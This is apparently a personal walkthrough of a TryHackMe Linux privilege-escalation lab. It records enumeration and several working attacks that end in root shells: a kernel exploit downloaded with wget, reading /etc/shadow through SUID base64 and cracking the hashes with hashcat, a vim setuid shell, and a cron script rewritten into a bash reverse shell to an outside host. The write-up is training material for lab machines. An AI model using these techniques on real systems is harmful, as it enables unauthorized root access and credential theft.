Username: karen

Password: Password1

10.10.164.33 - Enumeration

Commands:

hostname

uname -a : Prints system information giving us additional detail about the kernel used by the system.

/proc/version : May give you information on the kernel version and additional data such as whether a compiler is installed.

/etc/issue : Can give information on the system and can be customized.

ps command will output the following:

PID: The process ID

TTY: Terminal type used by the user.

Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)

CMD: The command or executable running.

PS -A : View all running processes.

ps axjf : View process tree

ps aux: The aux option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x). Looking at the ps aux command output, we can have a better understanding of the system and potential vulnerabilities.

env : SHows environmental variables. The PATH variable (eg /usr/bin/zsh) may have a compiler or a scripting language that could be used to run code on the target system.

sudo -l : Lists all commands your user can run using sudo.

ls -la : Shows all files including hidden ones.

id : Provides a general overview of the user's privilege level and group memberships.

/etc/passwd : Used to discover users on the system.

cat /etc/passwd | cut -d ":" -f 1 : Returns all users in a list format.

cat /etc/passwd | grep home : Real users most likely have their folders under the "home" directory.

history : You will rarely find stored information such as passwords or usernames using this command.

ifconfig : Sometimes the target system can be a pivoting point to another network. tun0 or tun1 cannot be directly reached like an eth0 network. This can be confirmed using the ip route command to see which network routes exist.

netstat : Can be used with several different options to gather information on existing connections.

netstat -a : Shows all listening ports and established connections.

netstat -at or netstat -au : Can also be used to list TCP or UDP protocols respectively.

netstat -l : List ports in "listenining" mode. These ports are open and ready to accept incoming connections. THis can be used with the "t" option to list only ports that are listening using the TCP protocol.

netstat -s : lists network usage statistics. THis can also be used with the -t or -u options to limit output to a specific protocol.

netstat -tp : Lists connections with the service name and PID information.

netstat -ltp : Lists connections with option to list listening ports. One use case for this is to see if a specific program is listening in on a port.

netstat -i : SHows interface statistics. One use case is to see which interface is more active.

netstat -ano :

-a : Displays all sockets

-n : Do not resolve names

-o : DIsplay timers

find :

find . -name flag1.txt : FInds file named flag1.txt in the current directory.

find /home -name flag1.txt : Finds file name flag1.txt in the /home directory.

find / -type d -name config : Finds the directory named config under "/"

find / -type f -perm 0777 : Finds files with the 777 permissions (files readable, writable, and executable by all users)

find / -perm a=x : Finds executable files.

find /home -user frank : Finds all files for user "frank" under "/home"

find / -mtime 10 : Finds files that were modified in the last 10 days.

find / -atime 10 : Finds files that were accessed in the last 10 days.

find / -cmin -60 : Finds files changed within the last hour (60 minutes)

find / -amin -60 : Finds files accessed within the last hour.

find / -size 50M : Finds files with a 50 MB size.

find can also be used with + or - signs to specify a file that is larger or smaller than the given size.

find / -writable -type d 2>/dev/null

find / -perm -222 -type d 2>/dev/null

find / -perm -o w -type d 2>/dev/null : All 3 of these can be used to find world-writable folders.

find / -perm -o x -type d 2>/dev/null : FInd world-executable folders.

find / -name perl*

find / -name python*

find / -name gcc* : FInds development tools and supported languages.

find / -perm -u=s -type f 2>/dev/null : Finds files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.

Questions:

What is the hostname of the target system?

wade7363 - Simply using ssh karen@<IP> and typing hostname after entering the password Password1 will get us the answer here.

What is the Linux kernel version of the target system?

3.13.0-24-generic - uname -a will reveal the Linux kernel version here.

What Linux is this?

Ubuntu 14.04 LTS - cat /etc/issue command reveals the answer here.

What version of the Python language is installed on the system?

find / -name python* is usually used in this scenario, but you can easily output the version number using python --version instead. Keep in mind this starts python and would be a major red flag to any Linux users who are keeping an eye on opened processes.

What vulnerability seems to affect the kernel of the target system?

CVE-2015-1328 - A quick google search with the keywords CVE 3.13.0-24-generic will lead us to this CVE.

Automated Enumeration Tools:

LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

A script tthat searchers for possible paths to escalate privileges on Linux hosts. You can find the checklist for which Linpeas works on at https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist.

LinEnum: https://github.com/rebootuser/LinEnum

LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester

Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration

Linux Priv Checker: https://github.com/linted/linuxprivchecker

Privilege Escalation: Kernel Exploits

We previously looked at CVE-2015-1328 and the exploit located here: https://www.exploit-db.com/exploits/37292.

Now we move onto the exploitation phase, since we have completed our enumeration of the target and discovered a vulnerability that will allow us to escalate our privileges to the root user. In a nutshell, the exploit manipulates a vulnerability in the way the Linux kernel's OverlayFS (a type of union filesystem) handled file permissions in conjunction with user namespaces. Specifically, the exploit involves the creation of an overlay filesystem in which certain files, that should normally be read-only to a non-privileged user, are made writable, which the user can then manipulate to gain unauthorized access and escalate privileges to root level.

Here is the step by step breakdown of the exploit code:

1. It begins by creating new directories in /tmp/, preparing for the overlayfs setup.

2. Then, it tries to mount the first overlay filesystem with /proc/sys/kernel as the lower directory and a directory in /tmp/ as the upper directory.

3. If that mount fails, it tries to mount using /sys/kernel/security/apparmor as the lower directory and /tmp/ as the upper directory, using a working directory in /tmp/.

4. The exploit then moves a file named "ns_last_pid" or ".access" from the overlay filesystem to "ld.so.preload".

It unmounts the first overlay filesystem and then mounts a second overlay filesystem with /etc as the upper directory and /tmp/ as the lower directory.

5. The "ld.so.preload" file is made writable in this new overlay filesystem.

6. The exploit creates a shared library file that contains a malicious getuid() function. This function checks if the effective user ID is root (0) and, if it is, unlinks the malicious library from /etc/ld.so.preload and /tmp/, sets the real, effective, and saved user IDs to root, and spawns a shell with root privileges.

7. The exploit writes the path of the malicious library to /etc/ld.so.preload. This ensures that the next time a set-user-id (SUID) program (like /bin/su) is run, the dynamic linker would load the malicious library and run the malicious getuid() function.

8. Finally, the exploit cleans up temporary directories and files it created, and executes the /bin/su command to spawn a shell, which will now be a root shell due to the malicious getuid() function.

9. In summary, the exploit creates a situation where it can write to files that it shouldn't be able to (such as /etc/ld.so.preload), and leverages this ability to inject a malicious shared library that gets loaded when an SUID binary is run, thus allowing the exploit to escalate its privileges to root.

So now, we go ahead and download the exploit to our machine and I'm going to go ahead and mv the file to my LinuxPrivEsc path.

Commands:

On attackbox:

```
gcc 37292.c -o ofc
sudo python3 -m http.server
```

On shell:

```
pwd
cd tmp
```

On attackbox:

```
ifconfig - use tun0 if you're on Tryhackme's VPN.
```

On shell:

```
wget http://10.13.7.6:8000/ofc
ls -la
        -rw-rw-r--  1 karen karen 16936 Jul  9 22:36 ofc
```

Privilege Escalation: Sudo

sudo -l : Lists out commands that can be ran as a root user.

LD_PRELOAD : A function that allows any program to use shared libraries.

1. Check for LD_PRELOAD (with the env_keep option)
2. Write a simple C code compiled as a share object (.so extension) file
3. Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file

Privilege Escalation: SUID

Question: Which user shares the name of a great comic book writer?

gerryconway - cat /etc/passwd prints out a list of all users.

What is the password of user2?

find / -type f -perm -04000 -ls 2>/dev/null : Lists files that have SUID or SGID bits set.

At this stage we have two options: reading the /etc/shadow file or adding our own user to /etc/passwd. I chose to read the /etc/shadow file. To do this I saw that /usr/bin/base64 has SUID bits, which can be utilized to read and decode the base64 hashes in /etc/shadow. Quick and effective.

```
LFILE=file_to_read
/usr/bin/base64 "$LFILE" | base64 --decode
```

$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/ is the hash we are looking for, for user2. Since the hash begins with $6 we can safely assume the hashing algorithmm is Sha-512. Next we look it up in hashcatt's help menu and the start the cracking with the rockyou wordlist.

```
nano hash.hash - paste the above hash.

hashcat -h | grep sha512
```

We will use 1800 since it matches exactly what we need. It startts with 6 and we are enumerating a unix environment.

```
hashcat -m 1800 hash.hash /usr/share/wordlists/rockyou.txt
```

The password is revealed to be Password1. Nice.

```
su user2

cd home/ubunutu

cat flag3.txt
```

However, when we login to user2 we get an error that says we may not run sudo on our IP address. Yikes, they've hardened this a bit, but then we remember that bin64 can be used to read a file; so the password isn't necessary in this case. We can simply run the following commands on Karen's account, so we switch back now that we know where the flag is located:

```
cat /etc/passwd | grep user2

LFILE=/home/ubuntu/flag3.txt

/usr/bin/base64 "$LFILE" | base64 --decode

THM-3847834
```

Privilege Escalation: Capabilities

Capabilities is a method system administrators use to increase the privilege level of a process or binary. Capabilities help manage privileges at a more granular level. For example, if a SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the sys admin does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user.

getcap -r / 2>/dev/null

Questions:

1. How many binaries have set capabilities?

    getcap -r / 2>/dev/null

    /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

    /usr/bin/traceroute6.iputils = cap_net_raw+ep

    /usr/bin/mtr-packet = cap_net_raw+ep

    /usr/bin/ping = cap_net_raw+ep

    /home/karen/vim = cap_setuid+ep

    /home/ubuntu/view = cap_setuid+ep

2. What other binary can used through its capabilities?

    view in this case, but we do not have permissions to use it since it is in the ubunutu user's home directory.

3. What is the content of the flag4.txt file?

    Only option here is to exploit the /home/karen/vim = cap_settuid+ep

    GTFOBins shows us how to exploit vim for PrivEsc:

    If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3.

```
cp $(which vim) .
sudo setcap cap_setuid+ep vim
```

```
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

We need to modify the exploit to fit python3:

```
python -v
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

Since we elevated our privileges in Karen's home directory we need to:

```
cd ../ubuntu
ls -la
```

```
total 2872
drwxr-xr-x 4 ubuntu ubuntu    4096 Jun 18  2021 .
drwxr-xr-x 4 root   root      4096 Jun 18  2021 ..
-rw-r--r-- 1 ubuntu ubuntu     220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu    3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu    4096 Jun 18  2021 .cache
-rw-r--r-- 1 ubuntu ubuntu     807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu    4096 Jun 18  2021 .ssh
```

```
-rw-r--r-- 1 ubuntu ubuntu       0 Jun 18  2021
.sudo_as_admin_successful
-rw-r--r-- 1 root   root        12 Jun 18  2021 flag4.txt
-rwxr-xr-x 1 root   root   2906824 Jun 18  2021 view
cat flag4.txt
THM-9349843
```

PrivEsc: Cron Jobs

Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privesc vector only under certain conditions. If there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.

/etc/crontab : Any user can read the file keeping system-wide cron jobs with this command. Keep in mind CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks thatt run daily, weekly or even monthly in pentest engagements.

Crontab is not uncommon in companies that do not have a certain cybersecurity maturity level:

1. Sysadmins need to run a script at regular intervals.
2. They create a cron job to do this.
3. After a while, the script becomes useless, and they delete it.
4. They do not clean the relevant cron job.

This change management issue leads to a potential exploit leveraging cron jobs.

In the event you find an existing cript or task attached to a cron job, it is always worth spending time to understand the function of the script and how any tool is used within the context. For example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.

Question 1: How many cron jobs can you see on the target system?

```
cat /etc/crontab

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the `crontab'

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,

# that none of the other crontabs do.


SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin


# Example of job definition:

# .---------------- minute (0 - 59)

# |  .------------- hour (0 - 23)

# |  |  .---------- day of month (1 - 31)

# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...

# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat

# |  |  |  |  |

# *  *  *  *  * user-name command to be executed
```

```
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root     test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root     test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root     test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py
```

Question 2: What is the content of the flag5.txt file?

Now we need to exploit one of those cronjobs. We see that karen has permissions to modify /home/karen/backup.sh to giving us a reverse shell (Always use a reverse shell first to avoid crashing the system). Check your ip first using ifconfig and then change backup.sh using this cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md then open netcat and just wait and listen.

```
$ nano backup.sh
#!/bin/bash
cd /home/admin/1/2/3/Results
zip -r /home/admin/download.zip ./*
```

Now I personally used a Bash TCP reverse shell in this case, but you can go crazy with this - after all there's a ton of these on the github page above.

```
cat backup.sh

#!/bin/bash

bash -i >& /dev/tcp/10.13.7.6/4444 0>&1

chmod +x backup.sh
```

Now we open another terminal and listen in on port 4444.

```
nc -lnvp 4444
```

The cron job should do its job within a couple of seconds and we now have a root shell.

```
root@ip-10-10-196-224:~# cd /home

cd /home

root@ip-10-10-196-224:/home# cd ubuntu

cd ubuntu

root@ip-10-10-196-224:/home/ubuntu# cat flag5.txt

cat flag5.txt

THM-383000283
```

Question 3: What is Matt's password?

Since we have a root shell already open we can just:

```
cat /etc/shadow | grep matt
```

```
matt:$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2
w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.:18798:0:99999:7:::
```

Now that we have the hash we open another terminal window and create matthash.hash and pass it through hashcat or john the ripper. I used hashcat personally.

```
nano matthash.hash >>
$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNau
W8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.
```

Again the hash starts with $6 and we can safely assume it is a SHA512 hash and we can just use the same syntax from Task 6.

```
hashcat -m 1800 matthash.hash /usr/share/wordlists/rockyou.txt

Dictionary cache hit:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344385

* Bytes.....: 139921507

* Keyspace..: 14344385



$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2R
UNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.:123456



Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))

Hash.Target......:
$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUo...rkiLR.

Time.Started.....: Tue Jul 11 16:49:37 2023 (1 sec)

Time.Estimated...: Tue Jul 11 16:49:38 2023 (0 secs)
```

```
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      567 H/s (1.36ms) @ Accel:512 Loops:16 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 512/14344385 (0.00%)
Rejected.........: 0/512 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> letmein
Hardware.Mon.#1..: Util: 22%

Started: Tue Jul 11 16:49:31 2023
Stopped: Tue Jul 11 16:49:40 2023
```

Looks like the password is 123456 - nice.

PrivEsc: Path

Say you have a folder for which your user has write permission and is located in the path, you could hijack an application to run a script. PATH in Linux is an environmental variable that tells the OS where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. Say you type "John" to the command line, these are the locations Linux will look in for an executable called John. This depends entirely on the existing configuration of the target system, so be sure you can answer the questions before trying this technique:

1. What folders are located under $PATH
2. Does your current user have write privileges for any of these folders?
3. Can yo modify $path?
4. Is there a script/application you can start that will be affected by this vulnerability?

find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u : A simple search for writable folders.

Some CTF scenarios can present different folders. Comparing this with PATH will help us find folders we could use.

```
echo $PATH
```

Most folders under /usr can be further enumerated using the following command:

```
find / -writable 2>/dev/null | grep usr | cut -d "/" -f 2,3 | sort -u
```

An alternative command can also cut results related to processes:

```
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
```

Sometimes subfolders under /usr are not writable and the best possible solution to this problem is to add a folder to the PATH like so:

```
export PATH=/tmp:$PATH
```

Question 1: What is the odd folder you have write access for?

So first I would look for folders that I have write access to.

```
find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u

dev

etc
```

```
home
proc
run
snap
sys
tmp
usr
var
```

We see a home directory, but it doesn't really give us much. We know dev, etc, home, run, snap, sys, tmp, usr, and var are usually at the root level. So we can safely assume the odd folder is going to be in the home directory. Let's use a better search that cuts out processes and lists out subfolders.

```
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
dev/char
dev/fd
dev/full
dev/fuse
dev/log
dev/mqueue
dev/net
dev/null
dev/ptmx
dev/pts
```

dev/random

dev/shm

dev/stderr

dev/stdin

dev/stdout

dev/tty

dev/urandom

dev/zero

etc/udev

home/murdoch

run/acpid.socket

run/dbus

run/lock

run/screen

run/shm

run/snapd-snap.socket

run/snapd.socket

run/systemd

run/user

run/uuidd

snap/core

snap/core18

snap/core20

```
sys/fs

sys/kernel

tmp

tmp/.ICE-unix

tmp/.Test-unix

tmp/.X11-unix

tmp/.XIM-unix

tmp/.font-unix

usr/lib

var/crash

var/lock

var/tmp
```

home/murdoch is the answer to this question. It's odd, because as Karen we have write functionality to another user's home directory.

Question 2-3: Exploiut the $PATH vulnerability to read the content of the flag6.txt file.

So now we exploit the PATH vulnerability.

```
export PATH=/home/murdoch:$PATH

echo $PATH
```

```
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
```

```
cd home/murdoch

echo "cat /home/matt/flag6.txt" > thm
```

```
chmod 777 thm
./test
THM-736628929
```

PrivEsc: NFS

PrivEsc vectors are not confied to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases willl also require using both vectors, e.g. finding a root SSH private key on tthe target system and connecting via SSH with root privileges instead of trying to increase your current user's privilege level. Another vecttor that is more relevant to CTFs and exams is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present. Network File Sharing (NFS) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.

Question 1: How many mountable shares can you identify on the target system?

This can be done by using the following command:

```
showmount -e 10.10.170.185
Export list for 10.10.170.185:
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *
```

3 mountable shares is printed out.

Question 2: How many shares have the "no_root_squash" option enabled?

```
cat /etc/exports
```

```
# /etc/exports: the access control list for filesystems which may be
exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check)
hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder
*(rw,sync,insecure,no_root_squash,no_subtree_check)
```

Looks to be 3 mountable shares that have the no_root_squash option enabled.

Question 3-4: Gain a root shell on the target system and determine the content of the flag7.txt file.

In order to retrieve the contents of flag7.txt we have to become root. Therefore, we have to first mount one of the shares, which has no_root_squash enabled, on our own computer and host our exploit on there. For this the syntax would be: mount -o rw <Target_ip>:/<FOLDER> /<folder_on_your_machine>

```
mkdir /tmp/attack
sudo mount -o rw 10.10.170.185:/tmp /tmp/attack
```

```
nano NFSexploit.c
    int main()
    {
        setgid(0);
        setuid(0);
        system("/bin/bash");
        return 0;
    }
mv NFSexploit.c /tmp/attack
cd tmp/attack
gcc NFSexploit.c -o exploit -w
chmod +s NFSexploit
```

Now we move back to the target box and exploit the file and gain a root shell.

```
cd tmp
./NFSexploit
cd ../../matt
cat flag7.txt
THM-89384012
```

Capstone Challenge:

Username: leonard

Password: Penny123

First we start off by SSHing in and enumerating. GTFObins is always useful for this.

Question 1: What is the content of the flag1.txt file?

```
[leonard@ip-10-10-231-2 ~]$ find / -type f -perm -04000 -ls 2>/dev/null
16779966   40 -rwsr-xr-x   1 root     root        37360 Aug 20  2019 /usr/bin/base64
17298702   60 -rwsr-xr-x   1 root     root        61320 Sep 30  2020 /usr/bin/ksu
17261777   32 -rwsr-xr-x   1 root     root        32096 Oct 30  2018
/usr/bin/fusermount
17512336   28 -rwsr-xr-x   1 root     root        27856 Apr  1  2020 /usr/bin/passwd
17698538   80 -rwsr-xr-x   1 root     root        78408 Aug  9  2019 /usr/bin/gpasswd
17698537   76 -rwsr-xr-x   1 root     root        73888 Aug  9  2019 /usr/bin/chage
17698541   44 -rwsr-xr-x   1 root     root        41936 Aug  9  2019 /usr/bin/newgrp
17702679  208 ---s--x---   1 root     stapusr    212080 Oct 13  2020 /usr/bin/staprun
17743302   24 -rws--x--x   1 root     root        23968 Sep 30  2020 /usr/bin/chfn
17743352   32 -rwsr-xr-x   1 root     root        32128 Sep 30  2020 /usr/bin/su
17743305   24 -rws--x--x   1 root     root        23880 Sep 30  2020 /usr/bin/chsh
17831141 2392 -rwsr-xr-x   1 root     root      2447304 Apr  1  2020 /usr/bin/Xorg
17743338   44 -rwsr-xr-x   1 root     root        44264 Sep 30  2020 /usr/bin/mount
17743356   32 -rwsr-xr-x   1 root     root        31984 Sep 30  2020 /usr/bin/umount
17812176   60 -rwsr-xr-x   1 root     root        57656 Aug  9  2019 /usr/bin/crontab
17787689   24 -rwsr-xr-x   1 root     root        23576 Apr  1  2020 /usr/bin/pkexec
18382172   52 -rwsr-xr-x   1 root     root        53048 Oct 30  2018 /usr/bin/at
20386935  144 ---s--x--x   1 root     root       147336 Sep 30  2020 /usr/bin/sudo
34469385   12 -rwsr-xr-x   1 root     root        11232 Apr  1  2020
/usr/sbin/pam_timestamp_check
```

```
34469387   36 -rwsr-xr-x   1 root     root        36272 Apr  1  2020
/usr/sbin/unix_chkpwd

36070283   12 -rwsr-xr-x   1 root     root        11296 Oct 13  2020
/usr/sbin/usernetctl

35710927   40 -rws--x--x   1 root     root        40328 Aug  9  2019
/usr/sbin/userhelper

38394204  116 -rwsr-xr-x   1 root     root       117432 Sep 30  2020
/usr/sbin/mount.nfs

958368   16 -rwsr-xr-x   1 root     root        15432 Apr  1  2020 /usr/lib/polkit-
1/polkit-agent-helper-1

[leonard@ip-10-10-231-2 ~]$ LFILE=/etc/shadow

[leonard@ip-10-10-231-2 ~]$ /usr/bin/base64 "$LFILE" | base64 --decode


root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM
0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51::0:99999:7:::

bin:*:18353:0:99999:7:::

daemon:*:18353:0:99999:7:::

adm:*:18353:0:99999:7:::

lp:*:18353:0:99999:7:::

sync:*:18353:0:99999:7:::

shutdown:*:18353:0:99999:7:::

halt:*:18353:0:99999:7:::

mail:*:18353:0:99999:7:::

operator:*:18353:0:99999:7:::

games:*:18353:0:99999:7:::
```

```
ftp:*:18353:0:99999:7:::

nobody:*:18353:0:99999:7:::

pegasus:!!:18785::::::

systemd-network:!!:18785::::::

dbus:!!:18785::::::

polkitd:!!:18785::::::

colord:!!:18785::::::

unbound:!!:18785::::::

libstoragemgmt:!!:18785::::::

saslauth:!!:18785::::::

rpc:!!:18785:0:99999:7:::

gluster:!!:18785::::::

abrt:!!:18785::::::

postfix:!!:18785::::::

setroubleshoot:!!:18785::::::

rtkit:!!:18785::::::

pulse:!!:18785::::::

radvd:!!:18785::::::

chrony:!!:18785::::::

saned:!!:18785::::::

apache:!!:18785::::::

qemu:!!:18785::::::

ntp:!!:18785::::::
```

```
tss:!!:18785::::::
sssd:!!:18785::::::
usbmuxd:!!:18785::::::
geoclue:!!:18785::::::
gdm:!!:18785::::::
rpcuser:!!:18785::::::
nfsnobody:!!:18785::::::
gnome-initial-setup:!!:18785::::::
pcp:!!:18785::::::
sshd:!!:18785::::::
avahi:!!:18785::::::
oprofile:!!:18785::::::
tcpdump:!!:18785::::::

leonard:$6$JELumeiiJFPMFj3X$OXKY.N8LDHHTtF5Q/pTCsWbZtO6SfAzEQ6UkeFJy.Kx5C9rXFuPr.8n3v7TbZEttkGKCVj50KavJNAm7ZjRi4/::0:99999:7:::
mailnull:!!:18785::::::
smmsp:!!:18785::::::
nscd:!!:18785::::::

missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::
```

Looks like root and missy's password hashes are up for grabs and are conveniently SHA512, so we can use option 1800 from hashcat from the previous boxes.

```
nano hash_missy

cat hash_missy

$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRV
Ci6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/

hashcat -m 1800 hash_missy /usr/share/wordlists/rockyou.txt

$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRV
Ci6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:Password1

Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))

Hash.Target......:
$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMo...VqKHb/

Time.Started.....: Tue Jul 11 21:51:27 2023 (6 secs)

Time.Estimated...: Tue Jul 11 21:51:33 2023 (0 secs)

Kernel.Feature...: Pure Kernel

Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)

Guess.Queue......: 1/1 (100.00%)

Speed.#1.........:      584 H/s (1.10ms) @ Accel:512 Loops:16 Thr:1 Vec:4

Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Progress.........: 3584/14344385 (0.02%)

Rejected.........: 0/3584 (0.00%)

Restore.Point....: 3072/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000

Candidate.Engine.: Device Generator

Candidates.#1....: adriano -> fresa

Hardware.Mon.#1..: Util: 15%


Started: Tue Jul 11 21:51:24 2023

Stopped: Tue Jul 11 21:51:35 2023
```

So the password is Password1. Sweet jesus these people need to be trained on the importance of complex passwords. Anyway let's switch users.

```
su missy

[missy@ip-10-10-231-2 leonard]$ find / -type f -name flag1.txt 2>/dev/null

/home/missy/Documents/flag1.txt
```

We can tell the flag is is in Missy's documents folder.

```
cat /home/missy/Documents/flag1.txt

THM-42828719920544
```

Question 2: What is the content of the flag2.txt file?

Since we are technically in a shell we can break out of it using find. GTFObins has the following command:

```
find . -exec /bin/sh \; -quit
```

We now have a root shell. Conversely, we could have cracked the root hash as well using hashcat, but beating a dead horse is never fun. I wanted to see if it would work and it does.

```
sh-4.2# ls -la

total 28
```

```
drwx------. 7 leonard leonard 197 Jun  7  2021 .
drwxr-xr-x. 5 root    root     50 Jun  7  2021 ..
-rw-------. 1 leonard leonard 142 Jun  7  2021 .bash_history
-rw-r--r--. 1 leonard leonard  18 Apr  1  2020 .bash_logout
-rw-r--r--. 1 leonard leonard 193 Apr  1  2020 .bash_profile
-rw-r--r--. 1 leonard leonard 231 Apr  1  2020 .bashrc
drwxrwxr-x. 3 leonard leonard  18 Jun  7  2021 .cache
drwxrwxr-x. 3 leonard leonard  18 Jun  7  2021 .config
-rw-r--r--. 1 leonard leonard 334 Nov 27  2019 .emacs
-rw-r--r--. 1 leonard leonard 172 Apr  1  2020 .kshrc
drwxrwxr-x. 3 leonard leonard  19 Jun  7  2021 .local
drwxr-xr-x. 4 leonard leonard  39 Jun  7  2021 .mozilla
drwxrwxr-x. 2 leonard leonard   6 Jun  7  2021 perl5
-rw-r--r--. 1 leonard leonard 658 Apr  7  2020 .zshrc
sh-4.2# cd ..
sh-4.2# ls -la
total 4
drwxr-xr-x.  5 root    root      50 Jun  7  2021 .
dr-xr-xr-x. 18 root    root     235 Jun  7  2021 ..
drwx------.  7 leonard leonard  197 Jun  7  2021 leonard
drwx------. 16 missy   missy   4096 Jun  7  2021 missy
drwx------.  2 root    root      23 Jun  7  2021 rootflag
sh-4.2# cd rootflag
```

```
sh-4.2# ls -la

total 4

drwx------. 2 root root 23 Jun  7  2021 .

drwxr-xr-x. 5 root root 50 Jun  7  2021 ..

-rw-r--r--. 1 root root 20 Jun  7  2021 flag2.txt

sh-4.2# cat flag2.txt

THM-168824782390238
```